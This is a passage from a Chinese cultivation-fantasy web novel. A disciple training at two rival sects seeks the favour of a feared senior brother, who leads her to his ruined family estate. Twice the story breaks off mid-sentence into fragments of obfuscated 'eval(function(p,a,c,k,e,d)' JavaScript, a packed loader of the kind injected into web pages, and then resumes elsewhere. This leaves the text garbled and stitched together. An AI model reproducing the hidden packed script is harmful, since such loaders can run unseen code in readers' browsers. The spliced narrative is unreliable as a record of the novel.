不知道为什么,总觉得此少女的眼神尤为居高临下,看他的眼神特别像是在看着条……狗。 还是不知道从哪里钻出来的野狗。 直到他说出了自己高门弟子的身分后,姜昀之周身的阴沉这才收敛了些,不过依旧居高临下。 高门弟子她也看不上?卫守心摇摇头,此人心高气傲,绝非好相处之辈。 姜昀之:“高门弟子为何会来看我们外门弟子苦修?” 卫守心直接说出了自己的来意:“恰巧路过,观看了片刻,发现道友你的剑风陡然出现了变化,原本一直很守旧地挥剑,突然变得锐气十足,这才前来探寻。” 果然,是发现了傀儡的纰漏。 姜昀之的眼中的暗色一转即逝。 既然有所疑虑,就该打消疑虑。 接下来的话,姜昀之不是说给卫守心听的,而是在向山峰上的剑尊解释:“弟子是在间歇练习。” “间歇…练习?” 姜昀之面不改色,好似真有此事:“如若一直狠狠地挥剑,会伤及身体,我还想撑过这十五天进入内门,不希望因为过劳而倒下,间歇地发挥全力,能让我保持清醒。” 神器:“这个理由好!另外一个位面有个词叫‘间歇跑’,这种间歇的练习方式确实对身体更好。” 此话还真让卫守心琢磨出几分道理。 确实是这么个道理,对于他们这些外门弟子而言,修炼之外,还得注意保重身体,起码要撑到半个月的苦修结束,若是半途病倒,可就得不偿失了。 不过他还是道:“这真的不是在偷懒吗?” 姜昀之抬眼,冷笑一声:“是不是偷懒,等我拜入内门的那一天,师兄就知道了。” 卫守心:“你为何要拜入内门?” 神器:“都来报考明烛宗了,你说呢?” 姜昀之言简意赅:“为了修剑。” 卫守心原本对此人并无多少兴趣,但刚才近距离观看了她的挥剑后,不由自主地开口道:“你若能入内门,不若加入我的师门,拜入岳长老的门下。” 姜昀之这才有了些兴味,她抬眼:“岳长老是剑尊的师父?” “不是,”卫守心道,“但我的师父也是一位能者,和剑尊的师父雾隐仙尊被称为明烛双壁。” 听到长老不是剑尊的师父,少女眼中的兴味顿时消失。 卫守心:“你应该知道你们这一批弟子里出了一个双天灵根吧,那位双天灵根也拜入了我们师门。” 他暗示师门的强劲。 姜昀之不感兴趣,淡淡道:“那很好,恭喜他了。” 卫守心:“……” 竟然这么傲!他都主动抛出橄榄枝了,竟然也不理会? 卫守心也是百里挑一的天之骄子,再怎么随和也是有傲气的,闻言收了想收姜昀之入师门的心思。 如此眼高手低之人,听说还是个见死不救的人,就算有些天赋又能如何呢。 剑尊大抵看错人了。 而且他的境界可是已经达到了合体期,比她这个小小筑基整整高五个境界,碾压也是绰绰有余。 此人见他不行礼,一直如此心高气傲,半点礼法都没有。 卫守心哼了一声:“看来是我们师门配不上你了。” 姜昀之冷淡地瞥了卫守心一眼,平静道:“有关修炼一事,弟子进明烛宗,就只想跟着大师兄练剑,从没考虑过其他师门。” 这话是说给岑无朿听的,说完后,姜昀之忽略身后挥袖离去的卫守心,抬眼,定定地望向对面山峰的山顶。 可惜山头已无人,大师兄已经离去了。 真是对着空台子演戏。 姜昀之冷冷地撇了撇嘴,她淡淡地垂眼,提起剑,重新走到山石前。 前来监察的长老们都走了,她并没有因此松懈于挥剑,依旧用尽全力地砸向山石。 山石迸发的灵气通过剑反震至姜昀之的全身,若是不凝气聚神,全身的骨头都能被震碎,不能有半分松懈。 山石上被姜昀之的剑轰出一道道可怖的长痕,左手挥剑一百下后整条左胳膊已经没了知觉,便换到右手再挥剑,少女修长的身姿定在山石前,没给自己任何休息的时间。 不知不觉,天色早就黑了,姜昀之手中的剑就没停下过,左手和右手都充血到肿成原来的两倍大,喉咙间泛起铁锈味。 神器看着都累,担忧道:“契主,你不间歇地休息会儿么?” 姜昀之:“间歇之说,是我用来打消他们的疑虑的。” 要想练好基本功,何来的间歇之说,挥下的每一剑都得用尽全力。 姜昀之全神贯注地盯着山石,“轰”声不断地落剑,任由石块往她身旁飞溅,胳膊被石片划出几道血痕也没管。 一直到夜色渐深,其他人都回去休息了,少女的身影依旧在苦无峰下扎根,独自继续练剑。 她本来就比别人少练,其他人都可以休息,她不会允许自己松懈。 明烛宗的弟子们以为姜昀之这种不要命的练法只是偶尔为之,有可能第一天练完了以后便不会这么竭力了,结果…… “我去!疯了!那个叫之明的道友疯了!她怎么每天都这么练?” “一到了酉时之后,那个道友跟发疯了一样练剑,而且晚上完全不睡觉!” 之所以酉时之后才如此练剑,是因为姜昀之完成负雪宗修炼的时间是酉时。 不过近几日,姜昀之把负雪宗的山石绕山跑也提前完成了,不必再在负雪宗久留,瀑布下打坐此类不需要运用术法的事由傀儡以身代之,她能把一整日的时间都用在练剑上。 苦无峰的山壁上留下一道道姜昀之挥落的剑痕,密集得堪称恐怖。 “我了个仙尊!之明道友更疯了,她现在不光酉时之后卷,酉时之前也卷,她这是怎么了,山石是她的杀父仇人吗!至于这么狠地削山石吗?” “卷成什么样了这是,不就是练剑吗?有必要这么卷吗?” “我受不了了,我今天也不睡了,我也要多练剑!” “不睡了!我也不睡了” 明烛宗的弟子们卷生卷死,各自喜提一双黑眼圈,每当他们快要熬不住想要回去休息时,只要望向山壁前的姜昀之,听着那阵阵的“轰”声,很快便瞪大双眼,重新面壁挥剑。 有人为了晨起时能尽快修炼,干脆不再回居舍,直接在苦无峰下搭结界睡觉。 其他人挥剑的动静尚能忍,姜昀之挥剑的“轰”声震耳欲聋,就算坐在结界里也能听到。 常扬忍无可忍,从结界里走出来:“你动静能不能小些,其他人还要睡觉呢!” 姜昀之转身望向他,这才看到苦无峰下多了几个帐篷:“你们在修炼的地方睡觉?” 其他正在修炼的弟子们开口道:“这也怪不了我们啊,你们非得来苦无峰睡觉,修炼的地方,必然会吵啊。” 姜昀之:“你猜后山的弟子居舍是用来干什么的?用来看吗?” 常扬读懂她话里的嘲讽:“你晚上就不能不练吗,大家都是要睡觉的。” 从明烛宗的姜昀之口中,可听不到几句好话,她道:“你想怎么休憩,想在哪里休憩都随你,我不是你老母,你无需要跟我请示。” 常扬:“你!” 少女嘴角勾起嘲讽的笑:“你来明烛宗是为了睡觉的吗?” 说罢她‘啧’了声,似是不想再浪费时间,重新挥剑向山壁:“让让。” 常扬还想再说些什么,“轰隆”的震动声让他踉跄了一下,没站住脚跟,也没能躲开飞溅而来的石块,胳膊上顿时被划开一道大口子,血往下流。 姜昀之投来的眼神若毒蛇吐信:“都让你站远点了。” 平日里常扬早就开始跳脚了,但此时的他怔怔地望向山壁,一句话都说不出来。 怎么会……变化了这么多! 他明明记得刚开始的时候,姜昀之和其他人一样,每次挥剑只能震起一些碎石块,但现在,随着她的挥剑,竟然直接削下了一整片山石,“咣当”地沉重落地,溅起一阵阵尘埃。 这就是明烛宗所说的熬峰吗? 如若潜心修炼,终究一天,力能削山峰? 常扬的后背突然起了一阵冷意,明明才四天,明明四天前他们都站在同一个起跑线上,别人在竭力挥剑的时候他却在想着如何更好地休憩,四天后,差距竟然变得如此大。 他也是天灵根,他不差的。 姜昀之像是看穿了他的心中所想,翘起唇角,声音若裹着蜜糖的毒药:“你不是累了么,回去休憩吧。” 好好休憩吧,就让想上进的人上进,继续躺着吧,一天一天地被落下,直到被完全抛弃。 常扬怅然若失地回到了帐篷里,失神得连胳膊上的伤口都顾不上了。 在旁围观全程的杜衡和栗尘叹为观止。 栗尘:“虽然她的性格很差,但实力我还是认可的。” 杜衡:“此人的韧劲堪称恐怖,有她在,我也不敢松懈了。等着瞧,我虽只是个雷灵根,也绝不比他们这些天灵根差。” 栗尘跟着热血沸腾:“卷起来!我就喜欢这般用心地修炼,这才是修道人该有的态度!” 很快栗尘就不喜欢了。 因为他发现姜昀之练起剑来是真的不要命,就算双手鲜血淋漓也未曾停下休憩,栗尘亲眼见到姜昀之的手腕练折了,而后硬生生地徒手把自己歪扭的手腕给掰回去,栗尘看着都疼得面目扭曲,而姜昀之掰完手腕后竟能丝毫不停歇地继续挥剑。 恐怖如斯! 神器也觉得恐怖如斯,姜昀之在负雪宗和明烛宗连轴转,练功分成两份竟然都能认真完成,不管是修罗道还是剑法,都在以极其恐怖的速度进步。 神器:“契主,恭喜你的修罗道达到了筑基后期,剑法也悟到了筑基中期。” 姜昀之:“嗯。” 离结丹还有很长的距离,不是什么值得高兴的事。 神器很想劝契主要不你休息会儿吧,但姜昀之完全不休息,也没时间休息。 明烛宗苦修的第六日到来,与此同时,负雪宗为期十五日的苦修结束,来到了入内门拜师的日子,傀儡前往苦无峰练剑,姜昀之回到负雪宗。 三十五名外门弟子里,最终被选出六名弟子入内门。 卷神的入选当之无愧,毫无悬念。 - 六名弟子在执事弟子的牵引下入内山门,一路往前走,十五日的苦修吸走了弟子们的精神气,除了卷神神色照常外,其余五个弟子或多或少都有些憔悴。 云雾缭绕中亭台楼阁接踵,殿宇高耸入云,可谓重宇别院,雕栏玉砌。 六人站在了正殿外。 执事弟子:“进了门,你们便可以拜师了。” 六弟子踏入大殿。 殿内灵气充裕、仙气阵阵,一眼望不到边界,高耸的朱柱让人望而生畏,两侧站着的修道人目光凛冽,皆是修真界的卓然之辈,是大部分人一辈子都接触不到的存在。 如若他们六个人在进入内门后无法脱颖而出,很有可能泯然众矣,往后再也见不到这些得道高人。 可谓是误闯仙家了。 进入负雪宗只是一个开始,并不意味着他们就能成为一个成功的修士,更不意味着他们可以高枕无忧,修真界残酷至极,但凡有所松懈,只会沦为其他天之骄子的陪衬,是否能获得成就,还得看他们往后怎么做。 弟子们置身于大殿中,如同一件货物般被众人审视,全都拘谨地想要展现出自己最好的一面,心中沸腾不止。 姜昀之修长的身影挺拔地立着,目光天真,好奇而并不避讳地往大殿里环顾,不谙世事到有些过分不看重场合了。 她并不在意旁人对她的审视,就算被道长用打量的眼神盯住,也会带着笑地看回去,只是个筑基的她似乎并不在意其他人比她高多少境界,也并不觉得自己会比这些人差。 萧舟偷偷地在衣袖里比了个大拇指,心道:“不愧是卷神,就是硬气。” 少女继续环顾四周,在看到掌门身旁竟然坐着章见伀后,神情立即变得开心,澄澈的眼珠子顿时泛起光亮。 高大修长的身影散漫地坐在殿上高座,章见伀的周身一如既往得充斥血腥气,暗红的眸子看到柱子后的少女正朝他笑,面无表情地瞥了她一眼。 哟。 竟然还活着。 这什么打扮? 章见伀望向姜昀之耳后垂成双股的发髻。 兔子? 章见伀只瞥了姜昀之一眼便冷漠地移开了视线,丝毫没回应少女的笑模样。 姜昀之没有得到回应也不恼,依旧眉眼带笑地望着大师兄。 众长老打量这个和负雪宗格格不入的少女。身上一点煞气都没有,还一副天真模样,怎么看都是明烛宗常有的那种道貌安然之辈,该不会是明烛宗派来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜昀之平静地望着他走到于奀长老面前,双手颤抖地接过内门弟子铭牌,朝邹解经连连行礼道谢。 神器:“呸,又是这个金手指狗。站得高了不起啊,装什么装。” 神器激情开麦:“就是在选一个特别能陪衬他的同门,一副施恩模样,别以为我不知道你肚子里没憋什么好货。” 没有被挑中的姜昀之不动声色地站在原地,目光根本没落在他们身上,时不时地悄悄望向一旁的章见伀。 他一脸的冷漠和不耐烦,似是很讨厌此类无聊的场合。 挑完徒弟后,邹解经向师父告退,朝东下方退去,还没走下台阶,身形一僵,朝高座之上的章见伀行礼:“拜见大师兄。” 说实话章见伀此人满身血腥,杀人如麻,只要是个人害怕,他也怕,不过他将来可是要成大事者,面对天道之子怎可退缩,就算心中有所畏惧也不形于色,邹解经动作麻利地行礼,声音有力:“恭贺大师兄,煞气又更上一层了。” 出去杀了一趟人,煞气当然会更上一层,要不是今日有这么个入门典礼,章见伀肯定还在外杀人。 邹解经说了几句话,见大师兄完全没将他放在眼中,不尴不尬地咳嗽了几声,走下台阶。 他现在修为太低,不被天道之子放在眼里是正常的,等他往后不断境界飞升,必定要让他们这些人刮目相看! 于奀长老朝章见伀看来:“你那师弟喊你,你怎么没应?” 章见伀:“苍蝇嗡嗡叫几声,你也会应么?” 台阶下候立的邹解经:“……” 于奀长老:“你身为首徒,就算再不喜欢这种场合,前来镇这个场子,总得做个榜样。” 章见伀:“老东西,你既然知晓我不喜这种场合,再有这种事,下次不必再喊我回来。” 被唤作‘老东西’的于奀长老:“……” 于奀长老已经被章见伀喊''老东西''很久了,久到四周的弟子们都没有什么反应,只有新来的邹解经惊讶地瞪圆了眼。 于奀长老无话可说。 我忍。 你强你有礼。 在负雪宗这种唯强是首的地方,强到章见伀这个境界,目无尊长这种词对他只能算是褒义词。 殿中,执事弟子喊道:“昭明,上前拜师。” 到姜昀之。 少女缓步走上前,抬眼,怔怔地看到那道高大修长的身影从高座上离去。 大师兄走了。 姜昀之的脚步顿了顿,不过依旧维持礼法地行至中道,上前行礼。 长老们交头接耳,都知道这是这一批苗子里的卷神,虽气质不太合负雪宗,但天赋是一等一的好。 于奀长老率先开口:“你想拜谁为师?” 于奀长老是众长老中师门最强劲的一位,姿态摆得很高,脸上几乎写着几个大字:‘我虽然已经收了一个徒弟,但你如果诚心诚意的话,我也不是不能再收一个徒弟。’ 神器:“老东西,人老就不要摆出傲娇的姿态了,你不适合。” 姜昀之:“……” 邹解经在一旁看热闹,就看这个低等神器的契主有没有种了。 神器:“怎么办,契主,真的要选于奀长老当师父吗,感觉这确实是最好的一个选择,他毕竟是天道之子的师父。” 姜昀之淡淡道:“不。” 姜昀之:“章见伀并不是重视师门溯源的人,没必要一定要成为他的直系师妹,而且他们师门有另一个神器的存在,我们先避其锋芒。” 执事弟子:“昭明道友,你可决定好了?” 已经有不下三个长老朝姜昀之递出了橄榄枝。 姜昀之:“弟子决定好了。” 她将眼神望向高阶之上,坐在最角落的一个女道长。 此道长化着一个很适合负雪宗的烟熏妆,正懒洋洋地翘着二郎腿……吃梨花糕。 女道长梨花糕吃到一半,接受到少女投来的眼神:“?” 女道长:“……” 此道长这副模样不禁让姜昀之想起了盈寸长老,师父第一天带她入湌松宗,是一边啃着烤鱼一边对她进行教诲的。 他道:“往后你有什么想学的就自己学,有什么想问的也千万不要来问我,不过有什么想吃的,倒是可以来找我。” 姜昀之继而上前一步:“需应长老,不知弟子可有这个荣幸拜入你的门下?” 需应长老是负雪宗的执事长老,行事狠厉,比较孤狼,也比较咸鱼,虽能力不错但不擅长教诲弟子。 需应长老望着朝她行礼的少女,给整不会了,而后又发现于奀那老东西也不解地看着她,仿若在说这人眼光怎么这么差,怎么会看上她。 需应长老放下手中的梨花糕:“……” 好家伙,她就是来凑个场面,结果这一批里最好的苗子竟然看中了她。 饶是咸鱼如需应,也不禁动了心,要知道,一个好的徒弟,是能带飞师门的。 譬如章见伀。 需应长老思索了会儿,终究还是有些良心地开口:“小丫头,我的道行在长老里不算拔尖的,你到我门下,算是屈才了。” 她又道:“而且我不是很擅长教人,我们子应山里资源平平,灵气也平平,从没教出一个高门弟子,也从未在比试里当过赢家。” 姜昀之认真地听完:“弟子知道了。” 她突然笑道:“也许是因为师父少一个像我一样的弟子。” 姜昀之抬眼,乌黑的双眼透亮,就好像无论说什么,她都能做到:“师父若是肯收下我,往后无论想要多高境界的弟子,无论想要座下弟子在比试里获得什么样的名次……” 少女可爱天真的眼中只剩下笃定:“我都能做到。” 14. 第十四章 入门仪式结束。 需应长老踏出正殿,咸鱼如她,喜提一个新徒弟,莫名燃了起来,也不知道自己在燃什么,反正就是特别燃。 燃到她直接回了子应山,去收拾后山那片荒废了半年的灵田,半年前她就想收拾,结果拖到现在才终于动身。 今天一鼓作气把杂草全都拔出来,打理一番,争取给新来的弟子一个好印象。 姜昀之入宗后,不仅是他们子应山的小师妹,也是整个负雪宗的小师妹。 而此位宗门的小师妹,并没有立即前往子应山,御剑飞行中绕了条路,来到了与子应山反方向的虚无山。 虚无山是章见伀的居所。 虚无山本是座荒山,因章见伀独来独往,宗门辟给他独住,此处瘴雾深沉,终年萦绕深沉的血腥气,方圆十里都没有活物,平日里弟子们御剑飞行经过虚无山时都会逃命般飞离。 姜昀之从剑上走下来,长剑“啪”得收于她身后的剑鞘。 神器不禁感慨,昀之经由五日几乎不要命般的挥剑苦修后,它明显感觉到她的剑意比以往精进了些。 姜昀之行于山路。 她来此处,当然是为了见章见伀。 大师兄既然暂时没离开宗门,大抵就在虚无山上,她绕着林间小路走,影影绰绰能看到大师兄的居所,想着若是运气好,也许能碰上他本人。 远远地望去,大师兄的居舍和他整个人一样阴森。 林子里蚊虫多,姜昀之往腰间缀了个熏香铃,继续在石子路上徘徊。 神器:“啊!” 它突然看到树上盘踞了一条蛇,惊叫道:“蛇!有蛇!我去,好大一条蛇!我好怕怕!” 姜昀之:“……” 姜昀之:“前辈,那只是个藤蔓。” “藤曼,啊,藤曼啊……”神器尴尬地应声,看清了,确实只是条藤蔓。 神器发现昀之只有在负雪宗的时候喊它前辈,在明烛宗时从不会如此唤它,果然,一个春雪,一个暗流,各有入木三分的不同。 日光从林间的树叶里洒下,雾气散了些的时候,姜昀之的脚步停下,她往远处望去。 竟让她真的等到了。 槐树下,高大修长的身影步履不紧不慢,所到之处,树叶会被他身上的血腥气给染黑。 连没有生命的树叶都瑟缩着怕他,姜昀之却迈着轻快的步伐靠近:“大师兄。” 章见伀停下脚步,垂眼望向这个声音里带笑的少女。 又是她。 姜昀之的笑比溪涧的水流还要透亮,眉眼的笑仿若被雪洗过,干净到过分。 章见伀冷淡地盯着她。 又是他最讨厌的笑意。 姜昀之身着一身珍珠白的罗裙,衣摆柔顺如云,如瀑的发丝盘成了两股垂髻,粉白的发带垂落,恍若水墨画中的工笔美人。 若是常人看她,必然感叹世上怎么会有如此水灵的妙人。 但章见伀并非常人,只觉得此人实在聒噪,怎么总是能见到她。 尽管被如此看待,少女的双眸依旧亮亮的,仿若真的看着自己敬仰无比的存在:“大师兄,我真的进了内门,成了你的师妹。” 章见伀慢悠悠道:“谁是你的师兄?” 姜昀之懵懂地抬眼:“嗯?” 章见伀淡淡地瞥向她脑后的两股垂髻,肖似兔子耳朵:“我可不当兔子的师兄。” 真是奇形怪状。 姜昀之没明白他的话语,眼神更为懵懂了。 章见伀冷声道:“你入了老东西的门派?” 姜昀之:“于奀长老选了另外一个道友成为弟子,我虽没入师兄的师门,却也拜到了一位极为优秀的师父,进了子应山,往后我也算是师兄正儿八经的师妹了。” 章见伀听到姜昀之没被于奀选中,眉尾不动声色地挑了下。 看来老东西没什么眼光啊。 他虽不是很看得惯这个姜昀之,但对她的天赋和心性还是有所承认的。 于奀果然老了。 ‘老东西’于奀走到廊门外,突然迎风打了个喷嚏,环顾四周确保没有人看他后,给自己添了一件厚外袍。 虚无山这里的风也很大,姜昀之发尾的发带被吹得上下飘扬,存在感十足。 章见伀看过来:“你这是什么头发?” 从刚才开始就一直在晃,让人看着心烦,尤其配上她这张天真的脸,让人心烦的程度更上一层楼。 姜昀之摸向自己发尾,笑道:“是我自己编的垂髻。” 姜昀之头发特别多,一般编髻时需要用许多发带编佐才能把头发扎起来,发丝和丝带纠缠编织而成,柔顺地垂落。 姜昀之注意到章见伀从刚才开始就一直盯着她的头发看,翘起唇角:“师兄,你要摸摸看吗,我扎得很牢固的,不会松散。” 说罢,她往前一步。 就这么一步,姜昀之发丝间的香气便若有若无地传来。 章见伀暗红的眸子眯起,此人的发丝和她整个人一样,都透着股清澈的春雪味,上辈子莫不是被雪浸过? 他皱了皱眉,在少女的期待的眼神中,冷漠地拽了一下她的发尾。 跟他想象中的手感一样,奇形怪状的。 虽力道很轻,但姜昀之的发尾顿时乱了,发丝蓬松地交错,看起来像是只炸毛的兔子。 姜昀之:“嘶。” 她赶忙把脖子给缩了回去,委屈地望向章见伀。 章见伀:“?” 碰瓷? 他几乎没用什么力气,就那么轻轻一扯:“疼?” 这也太娇气了。 姜昀之:“师兄所认为的力道和常人所认为的力道不一样。” 她苦恼地摸着自己的发尾:“发带都垂下来了,师兄……” 章见伀“啧”了一声,从来没遇到过如此麻烦之人,他略一施法,姜昀之的发带归位,发尾恢复成原样。 姜昀之摸着自己完好如初的发尾,唇角立即勾起来:“果真恢复成原样了,大师兄,你怎么什么术法都会。” 少女修长的手指捋着自己发间的发带。 章见伀冷冷地望着,不明白此人为何一会儿蹙眉一会儿笑的,怎么会有如此丰富的感情。 姜昀之捋好发尾,少见地嗫嚅起来:“师兄……其实我是专门来找你的。” 章见伀冷声道:“何事?” 少女脸皮薄,耳根已经悄摸摸地红起来:“师兄,你知道的,每年新弟子入门的时候都有一个风俗,说新弟子可以请师兄、师姐或长老替自己题名,挂到树上去,便能保证往后在宗门能稳稳扎根,节节高升。” 姜昀之紧张地摘下腰间的空白木牌:“我想请师兄替我题字。” 章见伀:“你信这个?” 姜昀之:“不管真不真,求个好彩头总是没错的。” 章见伀:“你自己不是有师父么?” 姜昀之:“可是、可是师兄是我来负雪宗的原因,也是我最崇敬的人,我只想请师兄替我题字。” 章见伀也没应下,也没拒绝,冷冷地审视着身前的姜昀之,脸上出现几道新鲜蔓延的血痕,看来可怖至极,但很快又敛回去。 整个过程中,姜昀之始终认真地盯着他,眼中没有任何恐惧和害怕,在伤痕出现的时候惊呼了一声:“师兄,你受伤了!” 伤痕消失后,少女轻轻地吐出一口气,眉眼间的担忧这才褪去。 看来是真的不害怕他。 真是个怪人。 姜昀之关切道:“师兄,你脸上的伤真的没有问题吗?” 章见伀:“木牌拿来。” 少女的眼一下就瞪圆了:“嗯?” 章见伀:“题字的木牌,不拿我就走了。” “来了,来了。”姜昀之立即将木牌递了过去,把毛笔也递过去,“师兄,给你。” 章见伀把笔扔到一旁,宽大的手掌在木牌上空覆住:“名字。” 姜昀之:“昭明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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古树之所以被称为古树,就是因为盘踞在天地间的时间漫长,几乎已经成精,常年生长在虚无山的古树,树冠处煞气阵阵,它感应到与负雪宗格格不入的洁净存在,顿时抗拒地要将人推下去。 姜昀之一时不察,差些真的被推倒,不过紧紧地抱住了树杈,得以稳住身形。 高大修长的身站在树下,百无聊赖地看着树上的怪人瞎弄。 古树不停抖动树杈,姜昀之依旧没放弃,脚慢慢地挪动,伸长胳膊,非要将木牌挂上去,修长的手指因为使劲儿而略微颤动,而发尾的发带更是因古树的晃动而上下飘飞。 章见伀勾起一抹冷淡的笑,嘲讽道:“系紧了,别刚挂上去就被晃下来。” 姜昀之听闻此话,乌黑的眸子轻轻一动,像是想到了什么极为好玩儿的法子,她在将木牌系好的那一刹那故意踩了个空,顺着古树的力道往下跌落。 木牌没被甩落,她却摔下来了。 姜昀之在摔前看准了方向,不偏不倚正好能撞入章见伀的怀中。 章见伀瞧见她从半空摔下来,根本没准备接,往后撤退一步,人摔下来比他退后来的快,少女惊呼了一声后紧紧地抱住了他的脖子,章见伀猝不及防地接了个满怀。 春雪满怀。 姜昀之因惊吓而瞪圆的透亮眸子愣愣地望着他,近在咫尺到能感受到章见伀的呼吸,“啊”了一声后,她有若仓促而逃的兔子,立即从章见伀的怀中退出来,满脸通红地扶住身旁的松树。 仿若故意跳入章见伀怀中的人不是她。 章见伀原本想把怀中的人摔下去,在他做出这个动作前,少女已然飞快地从他的怀中撤离。猝不及防地接了个满怀,又猝不及防地空怀,章见伀皱了皱眉。 怎么这么轻。 仿若真的抱了一团春雪般。 这真是一个很不好的感觉。 “对、对不起师兄。”姜昀之低声道,“谢谢师兄,要不是你,我可就惨了。” 话音落下,姜昀之腰间的环佩接连响了四下。 正当姜昀之以为环佩要恢复安静时,它紧接着又响了四下,听起来,似乎要爆炸了。 15. 第十五章 环佩不复轻响后,神器小心翼翼的声音响起:“契主,一开始扣了四分,后来又扣了四分,一下、一下扣了八分。” 天道之子极为讨厌他人的靠近,一下扣满八分,神器心如刀绞。 姜昀之:“嗯。” 她淡淡问:“那岂不是正好触底了?” 神器:“!” 神器:“是啊!” 原本好感值是负二,现在又扣了八分,岂不是正好达到了‘触底反弹’的‘触底’了么? 神器惊喜道:“契主,你是故意的?” 姜昀之:“只是赌一把。” 神器:“触底了是一件好事,以后表现得好的话,好感度会不断反弹上升的。” 神器的声音又变得谨慎:“不过,天道之子现在对你的印象极差,毕竟已经负十了,他甚至对你起了杀意,契主,你一定要小心应对。” 神器:“我们现在不能离开,离开虚无山后,天道之子往后一定不愿再见一个他印象如此差的人。” 神器:“但留下来又得面对负好感度的杀意。” 神器:“所以一定要谨慎行事,让好感值至少反弹一些,要不然会有杀身之祸。” 古树下,章见伀暗红的眸子里确实已有杀意,再加上过载的灵气灼烧着神魂,他周身的戾气愈发浓郁,显然杀心已起。 少女恍若没察觉出他的杀意,只担忧地凑过来:“师兄,你的脸好像又受伤了。” 灵气在章见伀的脸上割出一道道血痕,愈发密集。 姜昀之:“师兄,疼吗?” 她的脸已然皱成一团,似乎作痛的人是她。 高大修长的身影若有所思地盯着她:“是有些不适。” 少女急了:“那怎么办?” 章见伀的声音低沉而冷漠:“这已然是我的旧疾了,所以我现在要去药庄拿药,不过,缺一个替我采药的人。” 他暗红的眸子缓缓地看过来。 姜昀之一下咬住了显而易见的钩:“我去,师兄,我替你去采药。” “如此,”章见伀的嘴角勾起一抹称不上善意的笑,“甚好。” 姜昀之嘴上答应得多快,心里就有多不愿意去,她现在并不想出远门,毕竟还有其他事要做。 神器好奇地问:“契主,你有什么要事吗,我怎么不知道?” 姜昀之:“回明烛宗练剑。” 神器:“……” 言语间,以章见伀为中心,黑气阵阵的阵法展开,刹那间,章见伀和姜昀之一齐消失在阵法中,再次睁开眼的时候,眼前已经彻底换了一个地方。 不再是虚无山,而是一片广袤的平地。 平地的边缘,一座古旧而庞大的建筑纳入姜昀之的眼底,青砖黛瓦,高台石阶,门额悬挂一方乌木大匾。 ‘药心仁堂’。 如果忽略牌匾下的蜘蛛网,整座药堂带给人的感觉还是比较端方的。 作为一个药庄,这里太过凄凉,地处偏僻,四周无人无树,且阴气阵阵,泥地上连草都没长出来,光秃秃的,泥土呈现一种棕灰色,地底像是埋了诸多不好的东西,泥块边缘皲裂到泛青。 比起药堂,这更像是一个杀人地。 姜昀之佯装没察觉到周围的不对劲,依旧好奇地朝四周看。 神器大惊失色:“竟然是这里!他竟然带你来了这里?” 姜昀之:“前辈,你知道这是哪里?” 神器:“是天道之子的家。” 姜昀之:“家?” 神器:“章见伀之所以如此阴森,如此杀人如麻,是因为他有一个悲惨的童年,这一点他和你挺像的……”说到这里,神器不勉放低声音。 神器:“以前这里不叫‘药心仁堂’,而是叫‘药章世庄’,是章氏的药庄。” 神器:“章家世代习医,到了章见伀的父辈那一代,出了一个药圣,正是他的父亲,在医修方面可谓是登峰造极。” 章见伀天生煞气重,却生在了一个极为仁慈的家族里,他的父亲母亲都是行医为善的人,章见伀十岁之前没有害过任何人命,还得多亏家里管教得严,别说是杀人,连伤人这种事章家也是不让做的。 可惜,章家身怀宝藏,终将招致灾祸。 药圣就是章家的‘宝藏’,他开辟了许多医法,并且无私地教给结识的道友,从不藏私,他与人为善,但旁人却并不以善报之,从某天起,有关药庄的谣言突然被传起来。 他们说章家之所以能出这么个医圣,是因为他们祖上有秘法,只要拿到秘法,人人都能成为医圣,甚至能长生不老,起死回生。 药圣这么一个从不藏私的人,背负上身怀秘法的谣言,无论怎么解释,都没有人相信他,谣言越传越盛。 利益会让人做出恐怖而偏激的事,听信谣言的其余药庄联合门派围剿章家,一共八个门派,把偌大的章家,从老人到小孩儿,只要是他们逮到的,全都剿杀殆尽。 那一天,章家药庄哀号遍野,血漫不止。 从此,世间再无药圣。 年幼的章见伀目睹了这一切,血泊中的他看着父亲掉落于地的头颅,脸上并没有任何悲哀,他和父亲死不瞑目的双眼对视:“果然,乐善好施就是这么一个下场。” 这就是他讨厌好人的原因。 年幼的他已经知道了一个永恒的道理:“只有恐惧和死亡,才能让他人臣服。” 神器的声音愈发轻:“契主,他和你的童年很像。” 章家是因为利益而死,姜家是因为邪物而死,全都不得善终,全都留下了最年幼的后代。 一个章见伀,一个姜昀之,经历了相似的事,却走向了不同的人生,却又奇妙地在岔道口相逢,于此处交集。 神器担心此事勾起昀之的伤心事,赶紧转移话题:“章见伀是个睚眦必报的人,他一直在追杀当年的仇家,就连那些世家的旁支和后代都没有放过,当然,这也有他杀戮欲太强的缘由。” 神器:“这个药庄他一直没有推平,一直留着,而且故意让坊间还保留‘秘法依旧藏在药庄中’以及‘章氏还有后人存货’这两条谣言,把药堂当成一个饵,只要有利益存在,就有源源不断的人奔赴这里,成为他的刀下亡魂。” 神器:“而且他一直没暴露自己的真实身份,若是有人知晓章氏后人是负雪宗的首席弟子,估计来都不敢来了。” 少女闻言了然,她站在章见伀高大修长的身影旁,依旧一副懵懂不知的模样:“师兄,这里没有人,我们该去哪里采药?” 章见伀的眼中有冷意:“你不觉得这里挺奇怪的么?” 姜昀之:“是有些奇怪。” 章见伀眼中的冷意更甚:“哦,哪里怪?” 姜昀之用手抚了抚自己的胳膊:“怪冷的。” 章见伀:“……” 她朝药堂里看:“这么冷的地方,真的能长出药材来吗?” 章见伀沉默了片刻,暗红的眸子眯着望向药堂深处:“去后院。” 少女亦步亦趋地跟着章见伀,一同前往药堂后院,穿堂而过的时候步子小心翼翼,避免碰到年久失修的家具,用手挥了挥眼前的蜘蛛网,被灰呛到后,她压低喉咙轻轻地咳了几声。 两人来到了后院。 后院依旧荒芜,不过歪歪扭扭的篱笆里,确实还是长着一些枯黄的……杂草。 姜昀之:“……” 这就是大师兄口中的药材么? 少女眨巴眨巴一双眼望着章见伀:“这就是师兄所需要的药材么?” 他把她带来显然是为了杀她,是杂草还是药草已经不重要了,重要的是该怎么扭转现在的逆势,避免死在这里了。 章见伀垂眼望向眼前的姜昀之。 此人现在倒是有几分聪明,一路上荒芜空旷,她竟然能沉得住气没问此处到底是哪里。 